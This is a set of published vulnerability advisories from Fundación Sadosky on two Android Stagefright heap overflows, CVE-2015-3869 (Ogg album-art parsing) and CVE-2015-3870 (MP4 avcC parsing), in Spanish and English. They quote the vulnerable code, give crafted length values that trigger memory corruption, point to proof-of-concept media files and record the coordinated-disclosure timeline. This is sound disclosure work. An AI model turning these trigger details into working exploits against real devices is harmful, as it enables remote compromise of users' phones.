for (size_t j = 0; j < sizeof(kMap) / sizeof(kMap[0]); ++j) { 112 | 858 size_t tagLen = strlen(kMap[j].mTag); 113 | 859 if (!strncasecmp(kMap[j].mTag, comment, tagLen) 114 | 860 && comment[tagLen] == '=') { 115 | 861 if (kMap[j].mKey == kKeyAlbumArt) { 116 | 862 extractAlbumArt( 117 | 863 fileMeta, 118 | 864 &comment[tagLen + 1], 119 | 865 commentLength - tagLen - 1); 120 | 866 } else if (kMap[j].mKey == kKeyAutoLoop) { 121 | 867 if (!strcasecmp(&comment[tagLen + 1], "true")) { 122 | 868 fileMeta->setInt32(kKeyAutoLoop, true); 123 | 869 } 124 | 870 } else { 125 | 871 fileMeta->setCString(kMap[j].mKey, &comment[tagLen + 1]); 126 | 872 } 127 | 873 } 128 | 874 } 129 | 875 130 | 876} 131 | 132 | 133 | ``` 134 | 135 | Un comentario del tipo "METADATA_BLOCK_PICTURE"es procesado llamando a [http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/OggExtractor.cpp#extractAlbumArt](http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/OggExtractor.cpp#extractAlbumArt) en la linea 862. 136 | 137 | A continuación se copia todo el código de extractAlbumArt dado que tiene varios bugs a analizar: 138 | 139 | ``` 140 | 943 static void extractAlbumArt( 141 | 944 const sp &fileMeta, const void *data, size_t size) { 142 | 945 ALOGV("extractAlbumArt from '%s'", (const char *)data); 143 | 946 144 | 947 size_t flacSize; 145 | 948 uint8_t *flac = DecodeBase64((const char *)data, size, &flacSize); 146 | 949 147 | 950 if (flac == NULL) { 148 | 951 ALOGE("malformed base64 encoded data."); 149 | 952 return; 150 | 953 } 151 | 954 152 | 955 ALOGV("got flac of size %zu", flacSize); 153 | 956 154 | 957 uint32_t picType; 155 | 156 | 157 | ``` 158 | 159 | Las variables locales son leídas directamente desde el buffer de entrada como enteros sin signo. Luego serán utilizados para realizar aritmética de punteros para indexar el buffer de entrada. 160 | 161 | La validación de estas variables dentro de extractAlbumArt no considera que los cálculos con los valores podrían a generar overlfows que no sean detectados por las condiciones de error. 162 | 163 | ``` 164 | 958 uint32_t typeLen; 165 | 959 uint32_t descLen; 166 | 960 uint32_t dataLen; 167 | 168 | 169 | ``` 170 | 171 | Puede generarse un overflow en el buffer de tipo fijo en la llamada al memcpy en la linea 983. 172 | 173 | ``` 174 | 961 char type[128]; 175 | 962 176 | 963 if (flacSize < 8) { 177 | 964 goto exit; 178 | 965 } 179 | 966 180 | 967 picType = U32_AT(flac); 181 | 968 182 | 969 if (picType != 3) { 183 | 970 // This is not a front cover. 184 | 971 goto exit; 185 | 972 } 186 | 973 187 | 974 typeLen = U32_AT(&flac[4]); 188 | 975 if (typeLen + 1 > sizeof(type)) { 189 | 976 goto exit; 190 | 977 } 191 | 978 192 | 979 if (flacSize < 8 + typeLen) { 193 | 980 goto exit; 194 | 981 } 195 | 982 196 | 983 memcpy(type, &flac[8], typeLen); 197 | 984 type[typeLen] = '\0'; 198 | 199 | 200 | ``` 201 | 202 | Pasando typeLen como 0xffffffff hará que se pasen las dos condiciones mencionadas en el código y llevar a una corrupción de memoria al llamarse al memcpy. El archivo POC_typeLen_overflow.ogg es una prueba de concepto de este bug. 203 | 204 | Afortunadamente, el overflow es detectado en las versiones de Android compiladas con -DFORTIFY_SOURCE (>= 4.2_r1) pero versiones anteriores podrían ser explotables. 205 | 206 | Al menos otro bug existe en el restante código: 207 | 208 | ``` 209 | 985 210 | 986 ALOGV("picType = %d, type = '%s'", picType, type); 211 | 987 212 | 988 if (!strcmp(type, "-->")) { 213 | 989 // This is not inline cover art, but an external url instead. 214 | 990 goto exit; 215 | 991 } 216 | 992 217 | 993 descLen = U32_AT(&flac[8 + typeLen]); 218 | 994 219 | 995 if (flacSize < 32 + typeLen + descLen) { 220 | 996 goto exit; 221 | 997 } 222 | 998 223 | 999 dataLen = U32_AT(&flac[8 + typeLen + 4 + descLen + 16]); 224 | 1000 225 | 1001 if (flacSize < 32 + typeLen + descLen + dataLen) { 226 | 1002 goto exit; 227 | 1003 } 228 | 1004 229 | 1005 ALOGV("got image data, %zu trailing bytes", 230 | 1006 flacSize - 32 - typeLen - descLen - dataLen); 231 | 1007 232 | 1008 fileMeta->setData( 233 | 1009 kKeyAlbumArt, 0, &flac[8 + typeLen + 4 + descLen + 20], dataLen); 234 | 1010 235 | 1011 fileMeta->setCString(kKeyAlbumArtMIME, type); 236 | 1012 237 | 1013 exit: 238 | 1014 free(flac); 239 | 1015 flac = NULL; 240 | 1016 } 241 | 1017 242 | 243 | 244 | ``` 245 | 246 | Como en el caso de 'typeLen', se puede ver que 'descLen' y 'dataLen' son leídos directamente desde el buffer de entrada pero las verificaciones que intentan comprobar que no pasen el tamaño del input fallan contemplar que tamaños muy grandes sufran overflow cuando se sumen. 247 | 248 | Un tamaño grande de dataLen podría desencadenar una corrupción de memoria en la llamada a setData en la linea 1008. 249 | 250 | Para investigar más, se puede ver el método setData [http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/MetaData.cpp#269](http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/MetaData.cpp#269) 251 | ``` 252 | 269 void MetaData::typed_data::setData( 253 | 270 uint32_t type, const void *data, size_t size) { 254 | 271 clear(); 255 | 272 256 | 273 mType = type; 257 | 274 allocateStorage(size); 258 | 275 memcpy(storage(), data, size); 259 | 276 } 260 | 277 261 | 262 | 263 | ``` 264 | 265 | El método llama a allocateStorage() para reservar un buffer interno y luego copia el buffer de entrada en él. 266 | Desafortunadamente no verifica que el resultado de la llamada a allocateStorage() falle lo que podría generar una corrupción de memoria en la linea 275. El archivo POC_dataLen_overflow.ogg muestra dicho bug. 267 | 268 | 269 | ## 8. Cronología del reporte 270 | 271 | * **2015-08-12:** 272 | Se abrió un issue en el Android issue Tracker. Se enviaron detalles técnicos de las vulnerabilidades al fabricante. 273 | 274 | * **2015-08-13:** 275 | El fabricante marcó la vulnerabilidad como un duplicado del issue 182053 reportado en el 4 de Agosto de 2015 (AndroidID-23036083). 276 | 277 | * **2015-08-13:** 278 | Se mergea el issue 182921 a este issue (posiblemente un reporte de tercero independiente de la misma vulnerabilidad). 279 | 280 | * **2015-08-17:** 281 | Se le asigna CVE-2015-3869 a esta vulnerabilidad. 282 | 283 | * **2015-08-17:** 284 | Se mergea el issue 184064, otro repote independiente de la misma vulnerabilidad. 285 | 286 | * **2015-10-05:** 287 | Se publica el Nexus security bulletin en Octubre de 2015 . 288 | 289 | * **2015-10-09:** 290 | El fabricante publicó un parche en el repositorio Android Open Source Project (AOSP). 291 | 292 | * **2016-1-22:** 293 | El reporte fue publicado. 294 | 295 | 296 | ## 9. Referencias 297 | 298 | 299 | 300 | ## 10. Acerca Fundación Dr. Manuel Sadosky 301 | 302 | La Fundación Dr. Manuel Sadosky es una institución público privada cuyo objetivo es favorecer la articulación entre el sistema científico – tecnológico y la estructura productiva en todo lo referido a la temática de las Tecnologías de la Información y la Comunicación (TIC). Creada a través del Decreto Nro. 678/09 del Poder Ejecutivo Nacional, la Fundación es presidida por el ministro de Ciencia, Tecnología e Innovación Productiva. Sus vicepresidentes son los presidentes de las cámaras más importantes del sector TIC: CESSI (Cámara de Empresas de Software y Servicios Informáticos) y CICOMRA (Cámara de Informática y Comunicaciones de la República Argentina). Para más información visitar: [http://www.fundacionsadosky.org.ar](http://www.fundacionsadosky.org.ar) 303 | 304 | ## 11. Derechos de autor 305 | 306 | El contenido de este reporte tiene copyright (c) 2014 Fundación Sadosky y se publica bajo la licencia Creative Commons Attribution Non-Commercial Share-Alike 4.0: [http://creativecommons.org/licenses/by-nc-sa/4.0/](http://creativecommons.org/licenses/by-nc-sa/4.0/) -------------------------------------------------------------------------------- /Android/Stagefright/CVE-2015-3869/POC_dataLen_overflow.ogg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programa-stic/security-advisories/4a032bf81dd45c614da477f5e88b2fb0982e7869/Android/Stagefright/CVE-2015-3869/POC_dataLen_overflow.ogg -------------------------------------------------------------------------------- /Android/Stagefright/CVE-2015-3869/POC_typeLen_overflow.ogg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programa-stic/security-advisories/4a032bf81dd45c614da477f5e88b2fb0982e7869/Android/Stagefright/CVE-2015-3869/POC_typeLen_overflow.ogg -------------------------------------------------------------------------------- /Android/Stagefright/CVE-2015-3869/README.md: -------------------------------------------------------------------------------- 1 | 2 | # Vulnerability in Android library while parsing Ogg audio files 3 | 4 | 5 | ## 1. Advisory Information 6 | 7 | **Title:** Vulnerability in Android library while parsing Ogg audio files 8 | 9 | **Advisory ID:** CVE-2015-3869 10 | 11 | **Advisory URL:** [http://www.fundacionsadosky.org.ar/publicaciones/#seguridad-en-tic](http://www.fundacionsadosky.org.ar/publicaciones/#seguridad-en-tic) 12 | 13 | **Date published:** 2016-1-22 14 | 15 | **Date of last update:** 2015-12-01 16 | 17 | **Vendors contacted:** Google 18 | 19 | **Release mode:** Coordinated release 20 | 21 | 22 | 23 | ## 2. Vulnerability Information 24 | 25 | **Class:** Heap-based Buffer Overflow [[http://cwe.mitre.org/data/definitions/122.html](http://cwe.mitre.org/data/definitions/122.html)] 26 | 27 | **Impact:** Code execution 28 | 29 | **Remotely Exploitable:** Yes 30 | 31 | **Locally Exploitable:** No 32 | 33 | **CVE Identifier:** [http://cve.mitre.org/cgi-bin/cvename.cgi?name=2015-3869](http://cve.mitre.org/cgi-bin/cvename.cgi?name=2015-3869) 34 | 35 | 36 | 37 | ## 3. Vulnerability Description 38 | 39 | Stagefright is a media library running in Android devices used as a backend engine for playing various multimedia formats such as MP3, MKV, MP4, etc. 40 | 41 | A vulnerability exists in the library that is triggered when procesing a malformed Vorbis header included in an Ogg audio file. The bug can be used by a potential attacker to perform arbitrary operations on the victim device. 42 | 43 | In order to exploit the problem an attacker would need a victim to open an specially crafted Vorbin header in an Ogg file. This could be done via sending an MMS message to the device, tricking the user into browsing a site controlled by the attacker or sending it via to app installed in the victim's device such as an instant messaging app. 44 | 45 | The problem was assigned as critical severity by the vendor (Google) and it affects around 93% of Android mobile devices around the world. 46 | 47 | 48 | ## 4. Vulnerable packages 49 | 50 | * Android Lollipop 5.1.1 without October security updates. 51 | 52 | ## 5. Vendor Information, Solutions and Workarounds 53 | 54 | Vendor fixed issue in the Android Open Source Project (AOSP) repository on October 2015 and notified it's partners on September 10, 2015. The problem was independently found by Chiachih Wu and Xuxian Jiang of C0re Team. 55 | 56 | 57 | ## 6. Credits 58 | 59 | This vulnerability was discovered and researched by Joaquín Manuel Rinaudo and Iván Arce. The publication of this advisory was coordinated by Programa Seguridad en TIC. 60 | 61 | ## 7. Technical Description 62 | 63 | In libstagefright the OggExtrator extracts metadata from a Vorbis header using the [http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/OggExtractor.cpp#verifyHeader](http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/OggExtractor.cpp#verifyHeader) method which parses three types of packets that can be found in the header. 64 | 65 | A packet of type 3 contains metadata and its first unpacked from a bitstream and parsed with [http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/OggExtractor.cpp#parseFileMetaData](http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/OggExtractor.cpp#parseFileMetaData) as seen in line 795 below 66 | 67 | ``` 68 | 789 case 3: 69 | 790 { 70 | 791 if (0 != _vorbis_unpack_comment(&mVc, &bits)) { 71 | 792 return ERROR_MALFORMED; 72 | 793 } 73 | 794 74 | 795 parseFileMetaData(); 75 | 796 break; 76 | 797 } 77 | 798 78 | 79 | 80 | ``` 81 | 82 | According to the Vorbis spec the metadata is a series of comments in the form: key "=" value where 'key' is one element from a set of known strings and 'value' is a based64 encoded string. 83 | 84 | The metadata is parsed by [http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/OggExtractor.cpp#parseVorbisComment](http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/OggExtractor.cpp#parseVorbisComment) shown below 85 | 86 | ``` 87 | void parseVorbisComment( 88 | 834 const sp &fileMeta, const char *comment, size_t commentLength) 89 | 835{ 90 | 836 struct { 91 | 837 const char *const mTag; 92 | 838 uint32_t mKey; 93 | 839 } kMap[] = { 94 | 840 { "TITLE", kKeyTitle }, 95 | 841 { "ARTIST", kKeyArtist }, 96 | 842 { "ALBUMARTIST", kKeyAlbumArtist }, 97 | 843 { "ALBUM ARTIST", kKeyAlbumArtist }, 98 | 844 { "COMPILATION", kKeyCompilation }, 99 | 845 { "ALBUM", kKeyAlbum }, 100 | 846 { "COMPOSER", kKeyComposer }, 101 | 847 { "GENRE", kKeyGenre }, 102 | 848 { "AUTHOR", kKeyAuthor }, 103 | 849 { "TRACKNUMBER", kKeyCDTrackNumber }, 104 | 850 { "DISCNUMBER", kKeyDiscNumber }, 105 | 851 { "DATE", kKeyDate }, 106 | 852 { "LYRICIST", kKeyWriter }, 107 | 853 { "METADATA_BLOCK_PICTURE", kKeyAlbumArt }, 108 | 854 { "ANDROID_LOOP", kKeyAutoLoop }, 109 | 855 }; 110 | 856 111 | 857 for (size_t j = 0; j < sizeof(kMap) / sizeof(kMap[0]); ++j) { 112 | 858 size_t tagLen = strlen(kMap[j].mTag); 113 | 859 if (!strncasecmp(kMap[j].mTag, comment, tagLen) 114 | 860 && comment[tagLen] == '=') { 115 | 861 if (kMap[j].mKey == kKeyAlbumArt) { 116 | 862 extractAlbumArt( 117 | 863 fileMeta, 118 | 864 &comment[tagLen + 1], 119 | 865 commentLength - tagLen - 1); 120 | 866 } else if (kMap[j].mKey == kKeyAutoLoop) { 121 | 867 if (!strcasecmp(&comment[tagLen + 1], "true")) { 122 | 868 fileMeta->setInt32(kKeyAutoLoop, true); 123 | 869 } 124 | 870 } else { 125 | 871 fileMeta->setCString(kMap[j].mKey, &comment[tagLen + 1]); 126 | 872 } 127 | 873 } 128 | 874 } 129 | 875 130 | 876} 131 | 132 | 133 | ``` 134 | 135 | A comment of type "METADATA_BLOCK_PICTURE" is parsed calling [http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/OggExtractor.cpp#extractAlbumArt](http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/OggExtractor.cpp#extractAlbumArt) at line 862. 136 | 137 | The entire code of extractAlbumArt is provided below since it has several bugs to be analyzed: 138 | 139 | ``` 140 | 943 static void extractAlbumArt( 141 | 944 const sp &fileMeta, const void *data, size_t size) { 142 | 945 ALOGV("extractAlbumArt from '%s'", (const char *)data); 143 | 946 144 | 947 size_t flacSize; 145 | 948 uint8_t *flac = DecodeBase64((const char *)data, size, &flacSize); 146 | 949 147 | 950 if (flac == NULL) { 148 | 951 ALOGE("malformed base64 encoded data."); 149 | 952 return; 150 | 953 } 151 | 954 152 | 955 ALOGV("got flac of size %zu", flacSize); 153 | 956 154 | 957 uint32_t picType; 155 | 156 | 157 | ``` 158 | 159 | The local variables below are all read directly form the input buffer as unsigned integers. Later on they will be used to perform pointer arithmetic to index into the input buffer. 160 | 161 | The validation of these variables throughout the extractAlbumArt method does not consider values that may make the calculations overflow and wrap around, thus failing to detect error conditions. 162 | 163 | ``` 164 | 958 uint32_t typeLen; 165 | 959 uint32_t descLen; 166 | 960 uint32_t dataLen; 167 | 168 | 169 | ``` 170 | 171 | This fixed size buffer can be overflown in a memcpy() call at line 983 172 | 173 | ``` 174 | 961 char type[128]; 175 | 962 176 | 963 if (flacSize < 8) { 177 | 964 goto exit; 178 | 965 } 179 | 966 180 | 967 picType = U32_AT(flac); 181 | 968 182 | 969 if (picType != 3) { 183 | 970 // This is not a front cover. 184 | 971 goto exit; 185 | 972 } 186 | 973 187 | 974 typeLen = U32_AT(&flac[4]); 188 | 975 if (typeLen + 1 > sizeof(type)) { 189 | 976 goto exit; 190 | 977 } 191 | 978 192 | 979 if (flacSize < 8 + typeLen) { 193 | 980 goto exit; 194 | 981 } 195 | 982 196 | 983 memcpy(type, &flac[8], typeLen); 197 | 984 type[typeLen] = '\0'; 198 | 199 | 200 | ``` 201 | 202 | A typeLen of 0xffffffff will pass the two if conditions above and lead to memory corruption in the following memcpy() call. The file POC_typeLen_overflow.ogg is a sample PoC file that will reproduce the bug. 203 | 204 | Fortunately, the overflow is catched on versions of Android compiled with -DFORTIFY_SOURCE (>= 4.2_r1) 205 | but older versions may be exploitable. 206 | 207 | At least another bug exist in the remaining code. 208 | 209 | ``` 210 | 985 211 | 986 ALOGV("picType = %d, type = '%s'", picType, type); 212 | 987 213 | 988 if (!strcmp(type, "-->")) { 214 | 989 // This is not inline cover art, but an external url instead. 215 | 990 goto exit; 216 | 991 } 217 | 992 218 | 993 descLen = U32_AT(&flac[8 + typeLen]); 219 | 994 220 | 995 if (flacSize < 32 + typeLen + descLen) { 221 | 996 goto exit; 222 | 997 } 223 | 998 224 | 999 dataLen = U32_AT(&flac[8 + typeLen + 4 + descLen + 16]); 225 | 1000 226 | 1001 if (flacSize < 32 + typeLen + descLen + dataLen) { 227 | 1002 goto exit; 228 | 1003 } 229 | 1004 230 | 1005 ALOGV("got image data, %zu trailing bytes", 231 | 1006 flacSize - 32 - typeLen - descLen - dataLen); 232 | 1007 233 | 1008 fileMeta->setData( 234 | 1009 kKeyAlbumArt, 0, &flac[8 + typeLen + 4 + descLen + 20], dataLen); 235 | 1010 236 | 1011 fileMeta->setCString(kKeyAlbumArtMIME, type); 237 | 1012 238 | 1013 exit: 239 | 1014 free(flac); 240 | 1015 flac = NULL; 241 | 1016 } 242 | 1017 243 | 244 | 245 | ``` 246 | 247 | Like the the case of 'typeLen', we see that 'descLen' and 'dataLen' are read directly from the input buffer 248 | and the various checks to ensure they do not point past the overall size of the input fail to account for large values that would wrap when summed. 249 | 250 | A large value of dataLen may trigger a condition for memory corruption in the call to setData at line 1008 251 | 252 | To investigate further we must review the setData method found in [http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/MetaData.cpp#269](http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/MetaData.cpp#269) 253 | ``` 254 | 269 void MetaData::typed_data::setData( 255 | 270 uint32_t type, const void *data, size_t size) { 256 | 271 clear(); 257 | 272 258 | 273 mType = type; 259 | 274 allocateStorage(size); 260 | 275 memcpy(storage(), data, size); 261 | 276 } 262 | 277 263 | 264 | 265 | ``` 266 | 267 | setData calls allocateStorage() to allocate an internal buffer and the copies the input data to it. Unfortunately it does not check the result of the call to allocateStorage() which may lead to memory corruption in the memcpy() call at line 275. The file POC_dataLen_overflow.ogg is a POC of said bug. 268 | 269 | 270 | ## 8. Report Timeline 271 | 272 | * **2015-08-12:** 273 | Security issue opened in Google's Android issue tracker. Technical details of the vulnerabilities sent to the vendor. 274 | 275 | * **2015-08-13:** 276 | The vendor marked the vulnerability as a duplicate of issue 182053 reported previously on August 4th, 2015 (AndroidID-23036083). 277 | 278 | * **2015-08-13:** 279 | Android issue 182921 has been merged into this issue (possibly an independent report of the same vulnerability). 280 | 281 | * **2015-08-17:** 282 | CVE-2015-3869 assigned to this vulnerability 283 | 284 | * **2015-08-17:** 285 | Issue 184064 has been merged into this issue. Confirmed indepedent report of the same vulnerability. 286 | 287 | * **2015-10-05:** 288 | Nexus security bulletin - October 2015 published. 289 | 290 | * **2015-10-09:** 291 | Vendor released a patch in Android Open Source Project (AOSP) repository. 292 | 293 | * **2016-1-22:** 294 | Advisory was released. 295 | 296 | ## 9. References 297 | 298 | 299 | 300 | ## 10. About Fundación Dr. Manuel Sadosky 301 | 302 | The Dr. Manuel Sadosky Foundation is a mixed (public / private) institution whose goal is to promote stronger and closer interaction between industry and the scientific-technological system in all aspects related to Information and Communications Technology (ICT). The Foundation was formally created by a Presidential Decree in 2009. Its Chairman is the Minister of Science, Technology, and Productive Innovation of Argentina; and the Vice-chairmen are the chairmen of the country’s most important ICT chambers: The Software and Computer Services Chamber (CESSI) and the Argentine Computing and Telecommunications Chamber (CICOMRA). For more information visit: [http://www.fundacionsadosky.org.ar](http://www.fundacionsadosky.org.ar) 303 | 304 | ## 11. Copyright Notice 305 | 306 | The contents of this advisory are copyright (c) 2014 Fundación Sadosky and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 4.0 License: [http://creativecommons.org/licenses/by-nc-sa/4.0/](http://creativecommons.org/licenses/by-nc-sa/4.0/) -------------------------------------------------------------------------------- /Android/Stagefright/CVE-2015-3870/LEAME.md: -------------------------------------------------------------------------------- 1 | 2 | # Vulnerabilidad en biblioteca de Android que procesa archivos de video MP4 3 | 4 | 5 | ## 1. Información del reporte 6 | 7 | **Título:** Vulnerabilidad en biblioteca de Android que procesa archivos de video MP4 8 | 9 | **Reporte ID:** CVE-2015-3870 10 | 11 | **Reporte URL:** [http://www.fundacionsadosky.org.ar/publicaciones/#seguridad-en-tic](http://www.fundacionsadosky.org.ar/publicaciones/#seguridad-en-tic) 12 | 13 | **Fecha de publicación:** 2015-12-01 14 | 15 | **Fecha de última actualización:** 2016-1-22 16 | 17 | **Fabricantes contactados:** Google 18 | 19 | **Modo de publicación:** Coordinado 20 | 21 | 22 | 23 | ## 2. Información de vulnerabilidades 24 | 25 | **Clase:** Heap-based Buffer Overflow [[http://cwe.mitre.org/data/definitions/122.html](http://cwe.mitre.org/data/definitions/122.html)] 26 | 27 | **Impacto:** Ejecución de código 28 | 29 | **Remotamente explotable:** Yes 30 | 31 | **Localmente explotable:** No 32 | 33 | **Identificador CVE:** [http://cve.mitre.org/cgi-bin/cvename.cgi?name=2015-3870](http://cve.mitre.org/cgi-bin/cvename.cgi?name=2015-3870) 34 | 35 | 36 | 37 | ## 3. Descripción de vulnerabilidad 38 | 39 | Stagefright es una biblioteca que corre en dispositivos Android y es utilizada como motor multimedia al procesar formatos como MP3, MP4, MKV, etc. 40 | 41 | Existe una vulnerabilidad en la biblioteca que se manifiesta al procesar archivos de audio con formato MP4 malformado. El bug puede ser utilizado por un potencial atacante para ejecutar comandos de manera remota en un dispositivo vulnerable y obtener acceso a los datos alojados en él. 42 | 43 | Para explotar el problema, un potencial atacante requeriría que la victima abra un archivo MP4 diseñado especialmente para el ataque. Esto podría lograrse ya sea enviando el archivo en un mensaje de texto, engañando a la víctima para que lo descargue de un sitio web controlado por el atacante o copiándolo desde alguna aplicación instalada en el dispositivo, por ejemplo alguna de mensajería instantánea. 44 | 45 | El problema fue catalogado como de severidad crítica por el fabricante (Google) y afecta aproximadamente al 93% de los dispositivos móviles Android de todo el mundo. 46 | 47 | 48 | ## 4. Paquetes vulnerables 49 | 50 | * Dispositivos corriendo Android Lollipop 5.1.1 sin las actualizaciones de seguridad de Octubre. 51 | 52 | ## 5. Información y soluciones del fabricante 53 | 54 | El fabricante solucionó el problema en el repositorio Android Open Source Project (AOSP) en Octubre del 2015 y notificó a sus asociados en Septiembre 10, 2015. 55 | 56 | 57 | ## 6. Créditos 58 | 59 | Las vulnerabilidades fueron descubiertas e investigadas por Joaquín Manuel Rinaudo and Iván Arce. La publicación de este reporte fue coordinada por Programa Seguridad en TIC. 60 | 61 | ## 7. Descripción técnica 62 | 63 | Al procesar archivos multimedia mp4, libstagefright utiliza MPEG4Extrator para iterar los diferentes átomos llamando a [http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/OggExtractor.cpp#parseFileMetaData](http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/OggExtractor.cpp#parseFileMetaData) para procesar elementos basados en 4 caracteres (fourCC) de cada átomo. 64 | 65 | Al encontrar elementos con el código FourCC de "avcC" o "hvcC", el extractor reservará un buffer, almacenará el chunk en un array, lo marcará con una clave correspondiente al código fourCC y continuará con el procesamiento. 66 | 67 | El procesamiento de estos elementos se continua en convertMetaDataToMessage [http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/Utils.cpp](http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/Utils.cpp) 68 | Al comenzar la linea 177, se procesa el registro AVCDecoderConfiguration y se intenta aplanar una array de longitud variable en un buffer reservado con un tamaño fijo: 69 | 70 | ``` 71 | 177 if (meta->findData(kKeyAVCC, &type, &data, &size)) { 72 | 178 // Parse the AVCDecoderConfigurationRecord 73 | 179 74 | 180 const uint8_t *ptr = (const uint8_t *)data; 75 | 181 76 | 182 CHECK(size >= 7); 77 | 183 CHECK_EQ((unsigned)ptr[0], 1u); // configurationVersion == 1 78 | 184 uint8_t profile = ptr[1]; 79 | 185 uint8_t level = ptr[3]; 80 | 186 81 | 187 // There is decodable content out there that fails the following 82 | 188 // assertion, let's be lenient for now... 83 | 189 // CHECK((ptr[4] >> 2) == 0x3f); // reserved 84 | 190 85 | 191 size_t lengthSize = 1 + (ptr[4] & 3); 86 | 192 87 | 193 // commented out check below as H264_QVGA_500_NO_AUDIO.3gp 88 | 194 // violates it... 89 | 195 // CHECK((ptr[5] >> 5) == 7); // reserved 90 | 196 91 | 197 size_t numSeqParameterSets = ptr[5] & 31; 92 | 198 93 | 199 ptr += 6; 94 | 200 size -= 6; 95 | 201 96 | 202 sp buffer = new ABuffer(1024); 97 | 203 buffer->setRange(0, 0); 98 | 204 99 | 205 for (size_t i = 0; i < numSeqParameterSets; ++i) { 100 | 206 CHECK(size >= 2); 101 | 207 size_t length = U16_AT(ptr); 102 | 208 103 | 209 ptr += 2; 104 | 210 size -= 2; 105 | 211 106 | 212 CHECK(size >= length); 107 | 213 108 | 214 memcpy(buffer->data() + buffer->size(), "\x00\x00\x00\x01", 4); 109 | 215 memcpy(buffer->data() + buffer->size() + 4, ptr, length); 110 | 216 buffer->setRange(0, buffer->size() + 4 + length); 111 | 217 112 | 218 ptr += length; 113 | 219 size -= length; 114 | 220 } 115 | 116 | 117 | ``` 118 | 119 | En la linea 202, un buffer de tamaño fijo es reservado, el loop en la linea 205 itera sobre un array de longitud variable de elementos. Para cada elemento, su tamaño es obtenido del archivo como un entero de 2 bytes y su correspondiente datos copiado dentro del buffer en la linea 215. 120 | 121 | El CHECK() en la linea 212 asegura que la longitud no pase el buffer de entrada pero no previene que se sobrescriba la memoria del heap debido a que no corrobora que la longitud del tamaño proveído no exceda el tamaño del buffer reservado. 122 | 123 | Un MP4 malformado con una registro AVCDecoderConfiguration que incluye registros SPS donde la suma de los datos de sus elementos excede el tamaño fijo del buffer corromperá el heap. Esto puede realizarse con un único elemento de 1020 bytes o con múltiples elementos de menor tamaño. 124 | 125 | En cualquier caso, la llamada a setRange() en la linea 216 fallará al intentar fijar el rango del buffer pasando su tamaño reservado, terminando el proceso. En este punto el heap ya ha sido corrompido por el memcpy() en la linea 215. Es incierto si este issue puede ser explotado para algo diferente que la falla del proceso. 126 | El mismo bug se encuentra dos veces más en Utils.cpp al procesar un registro Picture Parameter Sets (PPS) en [https://android.googlesource.com/platform/frameworks/av/+/android-5.1.1_r13/media/libstagefright/Utils.cpp#235](https://android.googlesource.com/platform/frameworks/av/+/android-5.1.1_r13/media/libstagefright/Utils.cpp#235) y al procesar unidades NAL en registros HVCC en [https://android.googlesource.com/platform/frameworks/av/+/android-5.1.1_r13/media/libstagefright/Utils.cpp#255](https://android.googlesource.com/platform/frameworks/av/+/android-5.1.1_r13/media/libstagefright/Utils.cpp#255) 127 | 128 | ## 8. Cronología del reporte 129 | 130 | * **2015-08-05:** 131 | Se abrió un issue en el Android issue Tracker. Se enviaron detalles técnicos de las vulnerabilidades al fabricante. 132 | 133 | * **2015-08-06:** 134 | Fabricante afirmó que no puede reproducir el problema dado que ya había un branch interno que lo solucionaba. 135 | 136 | * **2015-08-06:** 137 | Programa STIC pidió confirmación de si es considerado un problema de seguridad y se preguntó si se le asignaría un CVE o tres junto con una fecha estimada de publicación de la solución. 138 | 139 | * **2015-08-17:** 140 | Fabricante marca el problema como un issue de severidad Alta y le asigna el CVE-2015-3870. Dicho bug fue encontrado y arreglado internamente (como ANDROID-22771132) en Julio 2015. 141 | 142 | * **2015-08-17:** 143 | Programa STIC nota que el mismo patrón de la vulnerabilida se encuentra tres veces en Utils.cpp: Al procesar registros SPS y PPS en AVCC y al procesar HVCC en HEVC. 144 | 145 | * **2015-08-25:** 146 | Issue 183762 fue anexado a este issue. Se trata de un reporte duplicado de Wang Tao de Baidu X-Team. 147 | 148 | * **2015-09-03:** 149 | Se le asigna CVE-2015-3870 al issue. 150 | 151 | * **2015-10-05:** 152 | Se publica la solución en el Nexus security bulletin - Octubre 2015. 153 | 154 | * **2015-10-09:** 155 | El fabricante publicó un parche en el repositorio Android Open Source Project (AOSP). 156 | 157 | * **2016-1-22:** 158 | El reporte fue públicado. 159 | 160 | 161 | ## 9. Referencias 162 | 163 | 164 | 165 | ## 10. Acerca Fundación Dr. Manuel Sadosky 166 | 167 | La Fundación Dr. Manuel Sadosky es una institución público privada cuyo objetivo es favorecer la articulación entre el sistema científico – tecnológico y la estructura productiva en todo lo referido a la temática de las Tecnologías de la Información y la Comunicación (TIC). Creada a través del Decreto Nro. 678/09 del Poder Ejecutivo Nacional, la Fundación es presidida por el ministro de Ciencia, Tecnología e Innovación Productiva. Sus vicepresidentes son los presidentes de las cámaras más importantes del sector TIC: CESSI (Cámara de Empresas de Software y Servicios Informáticos) y CICOMRA (Cámara de Informática y Comunicaciones de la República Argentina). Para más información visitar: [http://www.fundacionsadosky.org.ar](http://www.fundacionsadosky.org.ar) 168 | 169 | ## 11. Derechos de autor 170 | 171 | El contenido de este reporte tiene copyright (c) 2014 Fundación Sadosky y se publica bajo la licencia Creative Commons Attribution Non-Commercial Share-Alike 4.0: [http://creativecommons.org/licenses/by-nc-sa/4.0/](http://creativecommons.org/licenses/by-nc-sa/4.0/) -------------------------------------------------------------------------------- /Android/Stagefright/CVE-2015-3870/POC.mp4: 